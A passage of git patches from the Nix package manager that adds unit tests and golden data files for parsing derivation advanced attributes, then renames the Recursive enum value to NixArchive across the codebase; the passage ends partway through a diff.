diff --git a/tests/unit/libstore-support/tests/libstore.hh b/tests/unit/libstore-support/tests/libstore.hh
index 26718822487..84be52c230b 100644
--- a/tests/unit/libstore-support/tests/libstore.hh
+++ b/tests/unit/libstore-support/tests/libstore.hh
@@ -8,19 +8,27 @@
 
 namespace nix {
 
-class LibStoreTest : public virtual ::testing::Test {
-    public:
-        static void SetUpTestSuite() {
-            initLibStore(false);
-        }
-
-    protected:
-        LibStoreTest()
-            : store(openStore("dummy://"))
-        { }
-
-        ref<Store> store;
+class LibStoreTest : public virtual ::testing::Test
+{
+public:
+    static void SetUpTestSuite()
+    {
+        initLibStore(false);
+    }
+
+protected:
+    LibStoreTest()
+        : store(openStore({
+            .variant =
+                StoreReference::Specified{
+                    .scheme = "dummy",
+                },
+            .params = {},
+        }))
+    {
+    }
+
+    ref<Store> store;
 };
 
-
 } /* namespace nix */
diff --git a/tests/unit/libstore/data/derivation/advanced-attributes-defaults.drv b/tests/unit/libstore/data/derivation/advanced-attributes-defaults.drv
new file mode 120000
index 00000000000..353090ad84b
--- /dev/null
+++ b/tests/unit/libstore/data/derivation/advanced-attributes-defaults.drv
@@ -0,0 +1 @@
+../../../../functional/derivation/advanced-attributes-defaults.drv
\ No newline at end of file
diff --git a/tests/unit/libstore/data/derivation/advanced-attributes-defaults.json b/tests/unit/libstore/data/derivation/advanced-attributes-defaults.json
new file mode 100644
index 00000000000..d58e7d5b586
--- /dev/null
+++ b/tests/unit/libstore/data/derivation/advanced-attributes-defaults.json
@@ -0,0 +1,22 @@
+{
+  "args": [
+    "-c",
+    "echo hello > $out"
+  ],
+  "builder": "/bin/bash",
+  "env": {
+    "builder": "/bin/bash",
+    "name": "advanced-attributes-defaults",
+    "out": "/nix/store/1qsc7svv43m4dw2prh6mvyf7cai5czji-advanced-attributes-defaults",
+    "system": "my-system"
+  },
+  "inputDrvs": {},
+  "inputSrcs": [],
+  "name": "advanced-attributes-defaults",
+  "outputs": {
+    "out": {
+      "path": "/nix/store/1qsc7svv43m4dw2prh6mvyf7cai5czji-advanced-attributes-defaults"
+    }
+  },
+  "system": "my-system"
+}
diff --git a/tests/unit/libstore/data/derivation/advanced-attributes-structured-attrs-defaults.drv b/tests/unit/libstore/data/derivation/advanced-attributes-structured-attrs-defaults.drv
new file mode 120000
index 00000000000..11713da12e3
--- /dev/null
+++ b/tests/unit/libstore/data/derivation/advanced-attributes-structured-attrs-defaults.drv
@@ -0,0 +1 @@
+../../../../functional/derivation/advanced-attributes-structured-attrs-defaults.drv
\ No newline at end of file
diff --git a/tests/unit/libstore/data/derivation/advanced-attributes-structured-attrs-defaults.json b/tests/unit/libstore/data/derivation/advanced-attributes-structured-attrs-defaults.json
new file mode 100644
index 00000000000..473d006acb5
--- /dev/null
+++ b/tests/unit/libstore/data/derivation/advanced-attributes-structured-attrs-defaults.json
@@ -0,0 +1,24 @@
+{
+  "args": [
+    "-c",
+    "echo hello > $out"
+  ],
+  "builder": "/bin/bash",
+  "env": {
+    "__json": "{\"builder\":\"/bin/bash\",\"name\":\"advanced-attributes-structured-attrs-defaults\",\"outputs\":[\"out\",\"dev\"],\"system\":\"my-system\"}",
+    "dev": "/nix/store/8bazivnbipbyi569623skw5zm91z6kc2-advanced-attributes-structured-attrs-defaults-dev",
+    "out": "/nix/store/f8f8nvnx32bxvyxyx2ff7akbvwhwd9dw-advanced-attributes-structured-attrs-defaults"
+  },
+  "inputDrvs": {},
+  "inputSrcs": [],
+  "name": "advanced-attributes-structured-attrs-defaults",
+  "outputs": {
+    "dev": {
+      "path": "/nix/store/8bazivnbipbyi569623skw5zm91z6kc2-advanced-attributes-structured-attrs-defaults-dev"
+    },
+    "out": {
+      "path": "/nix/store/f8f8nvnx32bxvyxyx2ff7akbvwhwd9dw-advanced-attributes-structured-attrs-defaults"
+    }
+  },
+  "system": "my-system"
+}
diff --git a/tests/unit/libstore/data/derivation/advanced-attributes-structured-attrs.drv b/tests/unit/libstore/data/derivation/advanced-attributes-structured-attrs.drv
new file mode 120000
index 00000000000..962f8ea3fe1
--- /dev/null
+++ b/tests/unit/libstore/data/derivation/advanced-attributes-structured-attrs.drv
@@ -0,0 +1 @@
+../../../../functional/derivation/advanced-attributes-structured-attrs.drv
\ No newline at end of file
diff --git a/tests/unit/libstore/data/derivation/advanced-attributes-structured-attrs.json b/tests/unit/libstore/data/derivation/advanced-attributes-structured-attrs.json
new file mode 100644
index 00000000000..32442812467
--- /dev/null
+++ b/tests/unit/libstore/data/derivation/advanced-attributes-structured-attrs.json
@@ -0,0 +1,41 @@
+{
+  "args": [
+    "-c",
+    "echo hello > $out"
+  ],
+  "builder": "/bin/bash",
+  "env": {
+    "__json": "{\"__darwinAllowLocalNetworking\":true,\"__impureHostDeps\":[\"/usr/bin/ditto\"],\"__noChroot\":true,\"__sandboxProfile\":\"sandcastle\",\"allowSubstitutes\":false,\"builder\":\"/bin/bash\",\"impureEnvVars\":[\"UNICORN\"],\"name\":\"advanced-attributes-structured-attrs\",\"outputChecks\":{\"bin\":{\"disallowedReferences\":[\"/nix/store/7rhsm8i393hm1wcsmph782awg1hi2f7x-bar\"],\"disallowedRequisites\":[\"/nix/store/7rhsm8i393hm1wcsmph782awg1hi2f7x-bar\"]},\"dev\":{\"maxClosureSize\":5909,\"maxSize\":789},\"out\":{\"allowedReferences\":[\"/nix/store/3c08bzb71z4wiag719ipjxr277653ynp-foo\"],\"allowedRequisites\":[\"/nix/store/3c08bzb71z4wiag719ipjxr277653ynp-foo\"]}},\"outputs\":[\"out\",\"bin\",\"dev\"],\"preferLocalBuild\":true,\"requiredSystemFeatures\":[\"rainbow\",\"uid-range\"],\"system\":\"my-system\"}",
+    "bin": "/nix/store/pbzb48v0ycf80jgligcp4n8z0rblna4n-advanced-attributes-structured-attrs-bin",
+    "dev": "/nix/store/7xapi8jv7flcz1qq8jhw55ar8ag8hldh-advanced-attributes-structured-attrs-dev",
+    "out": "/nix/store/mpq3l1l1qc2yr50q520g08kprprwv79f-advanced-attributes-structured-attrs"
+  },
+  "inputDrvs": {
+    "/nix/store/4xm4wccqsvagz9gjksn24s7rip2fdy7v-foo.drv": {
+      "dynamicOutputs": {},
+      "outputs": [
+        "out"
+      ]
+    },
+    "/nix/store/plsq5jbr5nhgqwcgb2qxw7jchc09dnl8-bar.drv": {
+      "dynamicOutputs": {},
+      "outputs": [
+        "out"
+      ]
+    }
+  },
+  "inputSrcs": [],
+  "name": "advanced-attributes-structured-attrs",
+  "outputs": {
+    "bin": {
+      "path": "/nix/store/pbzb48v0ycf80jgligcp4n8z0rblna4n-advanced-attributes-structured-attrs-bin"
+    },
+    "dev": {
+      "path": "/nix/store/7xapi8jv7flcz1qq8jhw55ar8ag8hldh-advanced-attributes-structured-attrs-dev"
+    },
+    "out": {
+      "path": "/nix/store/mpq3l1l1qc2yr50q520g08kprprwv79f-advanced-attributes-structured-attrs"
+    }
+  },
+  "system": "my-system"
+}
diff --git a/tests/unit/libstore/data/derivation/advanced-attributes.drv b/tests/unit/libstore/data/derivation/advanced-attributes.drv
new file mode 120000
index 00000000000..2a53a05caee
--- /dev/null
+++ b/tests/unit/libstore/data/derivation/advanced-attributes.drv
@@ -0,0 +1 @@
+../../../../functional/derivation/advanced-attributes.drv
\ No newline at end of file
diff --git a/tests/unit/libstore/derivation-advanced-attrs.cc b/tests/unit/libstore/derivation-advanced-attrs.cc
new file mode 100644
index 00000000000..26cf947a853
--- /dev/null
+++ b/tests/unit/libstore/derivation-advanced-attrs.cc
@@ -0,0 +1,234 @@
+#include <nlohmann/json.hpp>
+#include <gtest/gtest.h>
+#include <optional>
+
+#include "experimental-features.hh"
+#include "derivations.hh"
+
+#include "tests/libstore.hh"
+#include "tests/characterization.hh"
+#include "parsed-derivations.hh"
+#include "types.hh"
+
+namespace nix {
+
+using nlohmann::json;
+
+class DerivationAdvancedAttrsTest : public CharacterizationTest, public LibStoreTest
+{
+    Path unitTestData = getUnitTestData() + "/derivation";
+
+public:
+    Path goldenMaster(std::string_view testStem) const override
+    {
+        return unitTestData + "/" + testStem;
+    }
+};
+
+#define TEST_ATERM_JSON(STEM, NAME)                                                                   \
+    TEST_F(DerivationAdvancedAttrsTest, Derivation_##STEM##_from_json)                                \
+    {                                                                                                 \
+        readTest(NAME ".json", [&](const auto & encoded_) {                                           \
+            auto encoded = json::parse(encoded_);                                                     \
+            /* Use DRV file instead of C++ literal as source of truth. */                             \
+            auto aterm = readFile(goldenMaster(NAME ".drv"));                                         \
+            auto expected = parseDerivation(*store, std::move(aterm), NAME);                          \
+            Derivation got = Derivation::fromJSON(*store, encoded);                                   \
+            EXPECT_EQ(got, expected);                                                                 \
+        });                                                                                           \
+    }                                                                                                 \
+                                                                                                      \
+    TEST_F(DerivationAdvancedAttrsTest, Derivation_##STEM##_to_json)                                  \
+    {                                                                                                 \
+        writeTest(                                                                                    \
+            NAME ".json",                                                                             \
+            [&]() -> json {                                                                           \
+                /* Use DRV file instead of C++ literal as source of truth. */                         \
+                auto aterm = readFile(goldenMaster(NAME ".drv"));                                     \
+                return parseDerivation(*store, std::move(aterm), NAME).toJSON(*store);                \
+            },                                                                                        \
+            [](const auto & file) { return json::parse(readFile(file)); },                            \
+            [](const auto & file, const auto & got) { return writeFile(file, got.dump(2) + "\n"); }); \
+    }                                                                                                 \
+                                                                                                      \
+    TEST_F(DerivationAdvancedAttrsTest, Derivation_##STEM##_from_aterm)                               \
+    {                                                                                                 \
+        readTest(NAME ".drv", [&](auto encoded) {                                                     \
+            /* Use JSON file instead of C++ literal as source of truth. */                            \
+            auto json = json::parse(readFile(goldenMaster(NAME ".json")));                            \
+            auto expected = Derivation::fromJSON(*store, json);                                       \
+            auto got = parseDerivation(*store, std::move(encoded), NAME);                             \
+            EXPECT_EQ(got.toJSON(*store), expected.toJSON(*store));                                   \
+            EXPECT_EQ(got, expected);                                                                 \
+        });                                                                                           \
+    }                                                                                                 \
+                                                                                                      \
+    /* No corresponding write test, because we need to read the drv to write the json file */
+
+TEST_ATERM_JSON(advancedAttributes_defaults, "advanced-attributes-defaults");
+TEST_ATERM_JSON(advancedAttributes, "advanced-attributes-defaults");
+TEST_ATERM_JSON(advancedAttributes_structuredAttrs_defaults, "advanced-attributes-structured-attrs");
+TEST_ATERM_JSON(advancedAttributes_structuredAttrs, "advanced-attributes-structured-attrs-defaults");
+
+#undef TEST_ATERM_JSON
+
+TEST_F(DerivationAdvancedAttrsTest, Derivation_advancedAttributes_defaults)
+{
+    readTest("advanced-attributes-defaults.drv", [&](auto encoded) {
+        auto got = parseDerivation(*store, std::move(encoded), "foo");
+
+        auto drvPath = writeDerivation(*store, got, NoRepair, true);
+
+        ParsedDerivation parsedDrv(drvPath, got);
+
+        EXPECT_EQ(parsedDrv.getStringAttr("__sandboxProfile").value_or(""), "");
+        EXPECT_EQ(parsedDrv.getBoolAttr("__noChroot"), false);
+        EXPECT_EQ(parsedDrv.getStringsAttr("__impureHostDeps").value_or(Strings()), Strings());
+        EXPECT_EQ(parsedDrv.getStringsAttr("impureEnvVars").value_or(Strings()), Strings());
+        EXPECT_EQ(parsedDrv.getBoolAttr("__darwinAllowLocalNetworking"), false);
+        EXPECT_EQ(parsedDrv.getStringsAttr("allowedReferences"), std::nullopt);
+        EXPECT_EQ(parsedDrv.getStringsAttr("allowedRequisites"), std::nullopt);
+        EXPECT_EQ(parsedDrv.getStringsAttr("disallowedReferences"), std::nullopt);
+        EXPECT_EQ(parsedDrv.getStringsAttr("disallowedRequisites"), std::nullopt);
+        EXPECT_EQ(parsedDrv.getRequiredSystemFeatures(), StringSet());
+        EXPECT_EQ(parsedDrv.canBuildLocally(*store), false);
+        EXPECT_EQ(parsedDrv.willBuildLocally(*store), false);
+        EXPECT_EQ(parsedDrv.substitutesAllowed(), true);
+        EXPECT_EQ(parsedDrv.useUidRange(), false);
+    });
+};
+
+TEST_F(DerivationAdvancedAttrsTest, Derivation_advancedAttributes)
+{
+    readTest("advanced-attributes.drv", [&](auto encoded) {
+        auto got = parseDerivation(*store, std::move(encoded), "foo");
+
+        auto drvPath = writeDerivation(*store, got, NoRepair, true);
+
+        ParsedDerivation parsedDrv(drvPath, got);
+
+        StringSet systemFeatures{"rainbow", "uid-range"};
+
+        EXPECT_EQ(parsedDrv.getStringAttr("__sandboxProfile").value_or(""), "sandcastle");
+        EXPECT_EQ(parsedDrv.getBoolAttr("__noChroot"), true);
+        EXPECT_EQ(parsedDrv.getStringsAttr("__impureHostDeps").value_or(Strings()), Strings{"/usr/bin/ditto"});
+        EXPECT_EQ(parsedDrv.getStringsAttr("impureEnvVars").value_or(Strings()), Strings{"UNICORN"});
+        EXPECT_EQ(parsedDrv.getBoolAttr("__darwinAllowLocalNetworking"), true);
+        EXPECT_EQ(
+            parsedDrv.getStringsAttr("allowedReferences"), Strings{"/nix/store/3c08bzb71z4wiag719ipjxr277653ynp-foo"});
+        EXPECT_EQ(
+            parsedDrv.getStringsAttr("allowedRequisites"), Strings{"/nix/store/3c08bzb71z4wiag719ipjxr277653ynp-foo"});
+        EXPECT_EQ(
+            parsedDrv.getStringsAttr("disallowedReferences"),
+            Strings{"/nix/store/7rhsm8i393hm1wcsmph782awg1hi2f7x-bar"});
+        EXPECT_EQ(
+            parsedDrv.getStringsAttr("disallowedRequisites"),
+            Strings{"/nix/store/7rhsm8i393hm1wcsmph782awg1hi2f7x-bar"});
+        EXPECT_EQ(parsedDrv.getRequiredSystemFeatures(), systemFeatures);
+        EXPECT_EQ(parsedDrv.canBuildLocally(*store), false);
+        EXPECT_EQ(parsedDrv.willBuildLocally(*store), false);
+        EXPECT_EQ(parsedDrv.substitutesAllowed(), false);
+        EXPECT_EQ(parsedDrv.useUidRange(), true);
+    });
+};
+
+TEST_F(DerivationAdvancedAttrsTest, Derivation_advancedAttributes_structuredAttrs_defaults)
+{
+    readTest("advanced-attributes-structured-attrs-defaults.drv", [&](auto encoded) {
+        auto got = parseDerivation(*store, std::move(encoded), "foo");
+
+        auto drvPath = writeDerivation(*store, got, NoRepair, true);
+
+        ParsedDerivation parsedDrv(drvPath, got);
+
+        EXPECT_EQ(parsedDrv.getStringAttr("__sandboxProfile").value_or(""), "");
+        EXPECT_EQ(parsedDrv.getBoolAttr("__noChroot"), false);
+        EXPECT_EQ(parsedDrv.getStringsAttr("__impureHostDeps").value_or(Strings()), Strings());
+        EXPECT_EQ(parsedDrv.getStringsAttr("impureEnvVars").value_or(Strings()), Strings());
+        EXPECT_EQ(parsedDrv.getBoolAttr("__darwinAllowLocalNetworking"), false);
+
+        {
+            auto structuredAttrs_ = parsedDrv.getStructuredAttrs();
+            ASSERT_TRUE(structuredAttrs_);
+            auto & structuredAttrs = *structuredAttrs_;
+
+            auto outputChecks_ = get(structuredAttrs, "outputChecks");
+            ASSERT_FALSE(outputChecks_);
+        }
+
+        EXPECT_EQ(parsedDrv.getRequiredSystemFeatures(), StringSet());
+        EXPECT_EQ(parsedDrv.canBuildLocally(*store), false);
+        EXPECT_EQ(parsedDrv.willBuildLocally(*store), false);
+        EXPECT_EQ(parsedDrv.substitutesAllowed(), true);
+        EXPECT_EQ(parsedDrv.useUidRange(), false);
+    });
+};
+
+TEST_F(DerivationAdvancedAttrsTest, Derivation_advancedAttributes_structuredAttrs)
+{
+    readTest("advanced-attributes-structured-attrs.drv", [&](auto encoded) {
+        auto got = parseDerivation(*store, std::move(encoded), "foo");
+
+        auto drvPath = writeDerivation(*store, got, NoRepair, true);
+
+        ParsedDerivation parsedDrv(drvPath, got);
+
+        StringSet systemFeatures{"rainbow", "uid-range"};
+
+        EXPECT_EQ(parsedDrv.getStringAttr("__sandboxProfile").value_or(""), "sandcastle");
+        EXPECT_EQ(parsedDrv.getBoolAttr("__noChroot"), true);
+        EXPECT_EQ(parsedDrv.getStringsAttr("__impureHostDeps").value_or(Strings()), Strings{"/usr/bin/ditto"});
+        EXPECT_EQ(parsedDrv.getStringsAttr("impureEnvVars").value_or(Strings()), Strings{"UNICORN"});
+        EXPECT_EQ(parsedDrv.getBoolAttr("__darwinAllowLocalNetworking"), true);
+
+        {
+            auto structuredAttrs_ = parsedDrv.getStructuredAttrs();
+            ASSERT_TRUE(structuredAttrs_);
+            auto & structuredAttrs = *structuredAttrs_;
+
+            auto outputChecks_ = get(structuredAttrs, "outputChecks");
+            ASSERT_TRUE(outputChecks_);
+            auto & outputChecks = *outputChecks_;
+
+            {
+                auto output_ = get(outputChecks, "out");
+                ASSERT_TRUE(output_);
+                auto & output = *output_;
+                EXPECT_EQ(
+                    get(output, "allowedReferences")->get<Strings>(),
+                    Strings{"/nix/store/3c08bzb71z4wiag719ipjxr277653ynp-foo"});
+                EXPECT_EQ(
+                    get(output, "allowedRequisites")->get<Strings>(),
+                    Strings{"/nix/store/3c08bzb71z4wiag719ipjxr277653ynp-foo"});
+            }
+
+            {
+                auto output_ = get(outputChecks, "bin");
+                ASSERT_TRUE(output_);
+                auto & output = *output_;
+                EXPECT_EQ(
+                    get(output, "disallowedReferences")->get<Strings>(),
+                    Strings{"/nix/store/7rhsm8i393hm1wcsmph782awg1hi2f7x-bar"});
+                EXPECT_EQ(
+                    get(output, "disallowedRequisites")->get<Strings>(),
+                    Strings{"/nix/store/7rhsm8i393hm1wcsmph782awg1hi2f7x-bar"});
+            }
+
+            {
+                auto output_ = get(outputChecks, "dev");
+                ASSERT_TRUE(output_);
+                auto & output = *output_;
+                EXPECT_EQ(get(output, "maxSize")->get<uint64_t>(), 789);
+                EXPECT_EQ(get(output, "maxClosureSize")->get<uint64_t>(), 5909);
+            }
+        }
+
+        EXPECT_EQ(parsedDrv.getRequiredSystemFeatures(), systemFeatures);
+        EXPECT_EQ(parsedDrv.canBuildLocally(*store), false);
+        EXPECT_EQ(parsedDrv.willBuildLocally(*store), false);
+        EXPECT_EQ(parsedDrv.substitutesAllowed(), false);
+        EXPECT_EQ(parsedDrv.useUidRange(), true);
+    });
+};
+
+}
diff --git a/tests/unit/libutil-support/tests/characterization.hh b/tests/unit/libutil-support/tests/characterization.hh
index c2f686dbf92..19ba824ac74 100644
--- a/tests/unit/libutil-support/tests/characterization.hh
+++ b/tests/unit/libutil-support/tests/characterization.hh
@@ -5,6 +5,7 @@
 
 #include "types.hh"
 #include "environment-variables.hh"
+#include "file-system.hh"
 
 namespace nix {
 

From 64e599ebe162758a7e077a6c4e319649374307e2 Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Thu, 16 May 2024 17:46:43 -0400
Subject: [PATCH 398/528] Rename `Recursive` -> `NixArchive`

For enums:

- `FileIngestionMethod`

- `FileSerialisationMethod`
---
 src/libexpr/eval.cc                              |  2 +-
 src/libexpr/primops.cc                           | 10 +++++-----
 src/libexpr/primops/fetchTree.cc                 |  2 +-
 src/libfetchers/fetch-to-store.hh                |  2 +-
 src/libfetchers/fetchers.cc                      |  2 +-
 src/libfetchers/mercurial.cc                     |  2 +-
 src/libstore/binary-cache-store.cc               |  4 ++--
 src/libstore/build/worker.cc                     |  2 +-
 src/libstore/content-address.cc                  |  6 +++---
 src/libstore/daemon.cc                           | 12 ++++++------
 src/libstore/dummy-store.cc                      |  4 ++--
 src/libstore/legacy-ssh-store.hh                 |  4 ++--
 src/libstore/local-store.cc                      |  8 ++++----
 src/libstore/make-content-addressed.cc           |  2 +-
 src/libstore/optimise-store.cc                   |  4 ++--
 src/libstore/remote-store.cc                     | 12 ++++++------
 src/libstore/remote-store.hh                     |  4 ++--
 src/libstore/store-api.cc                        | 12 ++++++------
 src/libstore/store-api.hh                        | 10 +++++-----
 src/libstore/store-dir-config.hh                 |  2 +-
 src/libstore/unix/build/local-derivation-goal.cc |  6 +++---
 src/libutil/file-content-address.cc              | 12 ++++++------
 src/libutil/file-content-address.hh              | 10 +++++-----
 src/nix-store/nix-store.cc                       |  6 +++---
 src/nix/add-to-store.cc                          |  2 +-
 src/nix/hash.cc                                  |  8 ++++----
 src/nix/prefetch.cc                              |  2 +-
 src/nix/profile.cc                               |  2 +-
 src/perl/lib/Nix/Store.xs                        |  6 +++---
 tests/unit/libstore/common-protocol.cc           |  2 +-
 tests/unit/libstore/content-address.cc           |  2 +-
 tests/unit/libstore/derivation.cc                |  6 +++---
 tests/unit/libstore/nar-info.cc                  |  2 +-
 tests/unit/libstore/path-info.cc                 |  2 +-
 tests/unit/libstore/serve-protocol.cc            |  4 ++--
 tests/unit/libstore/worker-protocol.cc           |  4 ++--
 tests/unit/libutil/file-content-address.cc       |  4 ++--
 37 files changed, 93 insertions(+), 93 deletions(-)

diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc
index 7aaec2e734d..fc211e694ad 100644
--- a/src/libexpr/eval.cc
+++ b/src/libexpr/eval.cc
@@ -2303,7 +2303,7 @@ StorePath EvalState::copyPathToStore(NixStringContext & context, const SourcePat
                 path.resolveSymlinks(),
                 settings.readOnlyMode ? FetchMode::DryRun : FetchMode::Copy,
                 path.baseName(),
-                FileIngestionMethod::Recursive,
+                FileIngestionMethod::NixArchive,
                 nullptr,
                 repair);
             allowPath(dstPath);
diff --git a/src/libexpr/primops.cc b/src/libexpr/primops.cc
index 98649f0817f..02b9701122e 100644
--- a/src/libexpr/primops.cc
+++ b/src/libexpr/primops.cc
@@ -1209,7 +1209,7 @@ static void derivationStrictInternal(
         auto handleHashMode = [&](const std::string_view s) {
             if (s == "recursive") {
                 // back compat, new name is "nar"
-                ingestionMethod = FileIngestionMethod::Recursive;
+                ingestionMethod = FileIngestionMethod::NixArchive;
             } else try {
                 ingestionMethod = ContentAddressMethod::parse(s);
             } catch (UsageError &) {
@@ -1432,7 +1432,7 @@ static void derivationStrictInternal(
                 .atPos(v).debugThrow();
 
         auto ha = outputHashAlgo.value_or(HashAlgorithm::SHA256);
-        auto method = ingestionMethod.value_or(FileIngestionMethod::Recursive);
+        auto method = ingestionMethod.value_or(FileIngestionMethod::NixArchive);
 
         for (auto & i : outputs) {
             drv.env[i] = hashPlaceholder(i);
@@ -2391,7 +2391,7 @@ static void prim_filterSource(EvalState & state, const PosIdx pos, Value * * arg
         "while evaluating the second argument (the path to filter) passed to 'builtins.filterSource'");
     state.forceFunction(*args[0], pos, "while evaluating the first argument passed to builtins.filterSource");
 
-    addPath(state, pos, path.baseName(), path, args[0], FileIngestionMethod::Recursive, std::nullopt, v, context);
+    addPath(state, pos, path.baseName(), path, args[0], FileIngestionMethod::NixArchive, std::nullopt, v, context);
 }
 
 static RegisterPrimOp primop_filterSource({
@@ -2454,7 +2454,7 @@ static void prim_path(EvalState & state, const PosIdx pos, Value * * args, Value
     std::optional<SourcePath> path;
     std::string name;
     Value * filterFun = nullptr;
-    ContentAddressMethod method = FileIngestionMethod::Recursive;
+    ContentAddressMethod method = FileIngestionMethod::NixArchive;
     std::optional<Hash> expectedHash;
     NixStringContext context;
 
@@ -2470,7 +2470,7 @@ static void prim_path(EvalState & state, const PosIdx pos, Value * * args, Value
             state.forceFunction(*(filterFun = attr.value), attr.pos, "while evaluating the `filter` parameter passed to builtins.path");
         else if (n == "recursive")
             method = state.forceBool(*attr.value, attr.pos, "while evaluating the `recursive` attribute passed to builtins.path")
-                ? FileIngestionMethod::Recursive
+                ? FileIngestionMethod::NixArchive
                 : FileIngestionMethod::Flat;
         else if (n == "sha256")
             expectedHash = newHashAllowEmpty(state.forceStringNoCtx(*attr.value, attr.pos, "while evaluating the `sha256` attribute passed to builtins.path"), HashAlgorithm::SHA256);
diff --git a/src/libexpr/primops/fetchTree.cc b/src/libexpr/primops/fetchTree.cc
index a99a715770b..af152f4afe6 100644
--- a/src/libexpr/primops/fetchTree.cc
+++ b/src/libexpr/primops/fetchTree.cc
@@ -468,7 +468,7 @@ static void fetch(EvalState & state, const PosIdx pos, Value * * args, Value & v
         auto expectedPath = state.store->makeFixedOutputPath(
             name,
             FixedOutputInfo {
-                .method = unpack ? FileIngestionMethod::Recursive : FileIngestionMethod::Flat,
+                .method = unpack ? FileIngestionMethod::NixArchive : FileIngestionMethod::Flat,
                 .hash = *expectedHash,
                 .references = {}
             });
diff --git a/src/libfetchers/fetch-to-store.hh b/src/libfetchers/fetch-to-store.hh
index 81af1e24019..95d1e6b0160 100644
--- a/src/libfetchers/fetch-to-store.hh
+++ b/src/libfetchers/fetch-to-store.hh
@@ -18,7 +18,7 @@ StorePath fetchToStore(
     const SourcePath & path,
     FetchMode mode,
     std::string_view name = "source",
-    ContentAddressMethod method = FileIngestionMethod::Recursive,
+    ContentAddressMethod method = FileIngestionMethod::NixArchive,
     PathFilter * filter = nullptr,
     RepairFlag repair = NoRepair);
 
diff --git a/src/libfetchers/fetchers.cc b/src/libfetchers/fetchers.cc
index 73923907c3a..170a8910ce4 100644
--- a/src/libfetchers/fetchers.cc
+++ b/src/libfetchers/fetchers.cc
@@ -305,7 +305,7 @@ StorePath Input::computeStorePath(Store & store) const
     if (!narHash)
         throw Error("cannot compute store path for unlocked input '%s'", to_string());
     return store.makeFixedOutputPath(getName(), FixedOutputInfo {
-        .method = FileIngestionMethod::Recursive,
+        .method = FileIngestionMethod::NixArchive,
         .hash = *narHash,
         .references = {},
     });
diff --git a/src/libfetchers/mercurial.cc b/src/libfetchers/mercurial.cc
index 7bdf1e9375b..4b80cbe9b12 100644
--- a/src/libfetchers/mercurial.cc
+++ b/src/libfetchers/mercurial.cc
@@ -213,7 +213,7 @@ struct MercurialInputScheme : InputScheme
                 auto storePath = store->addToStore(
                     input.getName(),
                     {getFSSourceAccessor(), CanonPath(actualPath)},
-                    FileIngestionMethod::Recursive, HashAlgorithm::SHA256, {},
+                    FileIngestionMethod::NixArchive, HashAlgorithm::SHA256, {},
                     filter);
 
                 return storePath;
diff --git a/src/libstore/binary-cache-store.cc b/src/libstore/binary-cache-store.cc
index 95a8d5a7ab3..e8c8892b337 100644
--- a/src/libstore/binary-cache-store.cc
+++ b/src/libstore/binary-cache-store.cc
@@ -322,7 +322,7 @@ StorePath BinaryCacheStore::addToStoreFromDump(
         if (static_cast<FileIngestionMethod>(dumpMethod) == hashMethod.getFileIngestionMethod())
             caHash = hashString(HashAlgorithm::SHA256, dump2.s);
         switch (dumpMethod) {
-        case FileSerialisationMethod::Recursive:
+        case FileSerialisationMethod::NixArchive:
             // The dump is already NAR in this case, just use it.
             nar = dump2.s;
             break;
@@ -339,7 +339,7 @@ StorePath BinaryCacheStore::addToStoreFromDump(
     } else {
         // Otherwise, we have to do th same hashing as NAR so our single
         // hash will suffice for both purposes.
-        if (dumpMethod != FileSerialisationMethod::Recursive || hashAlgo != HashAlgorithm::SHA256)
+        if (dumpMethod != FileSerialisationMethod::NixArchive || hashAlgo != HashAlgorithm::SHA256)
             unsupported("addToStoreFromDump");
     }
     StringSource narDump { nar };
diff --git a/src/libstore/build/worker.cc b/src/libstore/build/worker.cc
index b53dc771ad0..31cfa8adcc8 100644
--- a/src/libstore/build/worker.cc
+++ b/src/libstore/build/worker.cc
@@ -530,7 +530,7 @@ bool Worker::pathContentsGood(const StorePath & path)
     else {
         auto current = hashPath(
             {store.getFSAccessor(), CanonPath(store.printStorePath(path))},
-            FileIngestionMethod::Recursive, info->narHash.algo).first;
+            FileIngestionMethod::NixArchive, info->narHash.algo).first;
         Hash nullHash(HashAlgorithm::SHA256);
         res = info->narHash == nullHash || info->narHash == current;
     }
diff --git a/src/libstore/content-address.cc b/src/libstore/content-address.cc
index 4ed4f2de561..fa06c4aa367 100644
--- a/src/libstore/content-address.cc
+++ b/src/libstore/content-address.cc
@@ -9,7 +9,7 @@ std::string_view makeFileIngestionPrefix(FileIngestionMethod m)
     switch (m) {
     case FileIngestionMethod::Flat:
         return "";
-    case FileIngestionMethod::Recursive:
+    case FileIngestionMethod::NixArchive:
         return "r:";
     case FileIngestionMethod::Git:
         experimentalFeatureSettings.require(Xp::GitHashing);
@@ -52,7 +52,7 @@ std::string_view ContentAddressMethod::renderPrefix() const
 ContentAddressMethod ContentAddressMethod::parsePrefix(std::string_view & m)
 {
     if (splitPrefix(m, "r:")) {
-        return FileIngestionMethod::Recursive;
+        return FileIngestionMethod::NixArchive;
     }
     else if (splitPrefix(m, "git:")) {
         experimentalFeatureSettings.require(Xp::GitHashing);
@@ -137,7 +137,7 @@ static std::pair<ContentAddressMethod, HashAlgorithm> parseContentAddressMethodP
         // Parse method
         auto method = FileIngestionMethod::Flat;
         if (splitPrefix(rest, "r:"))
-            method = FileIngestionMethod::Recursive;
+            method = FileIngestionMethod::NixArchive;
         else if (splitPrefix(rest, "git:")) {
             experimentalFeatureSettings.require(Xp::GitHashing);
             method = FileIngestionMethod::Git;
diff --git a/src/libstore/daemon.cc b/src/libstore/daemon.cc
index fe60cb9182d..788c5e2eaf5 100644
--- a/src/libstore/daemon.cc
+++ b/src/libstore/daemon.cc
@@ -415,12 +415,12 @@ static void performOp(TunnelLogger * logger, ref<Store> store,
                 case FileIngestionMethod::Flat:
                     dumpMethod = FileSerialisationMethod::Flat;
                     break;
-                case FileIngestionMethod::Recursive:
-                    dumpMethod = FileSerialisationMethod::Recursive;
+                case FileIngestionMethod::NixArchive:
+                    dumpMethod = FileSerialisationMethod::NixArchive;
                     break;
                 case FileIngestionMethod::Git:
                     // Use NAR; Git is not a serialization method
-                    dumpMethod = FileSerialisationMethod::Recursive;
+                    dumpMethod = FileSerialisationMethod::NixArchive;
                     break;
                 default:
                     assert(false);
@@ -441,13 +441,13 @@ static void performOp(TunnelLogger * logger, ref<Store> store,
                 uint8_t recursive;
                 std::string hashAlgoRaw;
                 from >> baseName >> fixed /* obsolete */ >> recursive >> hashAlgoRaw;
-                if (recursive > (uint8_t) FileIngestionMethod::Recursive)
+                if (recursive > (uint8_t) FileIngestionMethod::NixArchive)
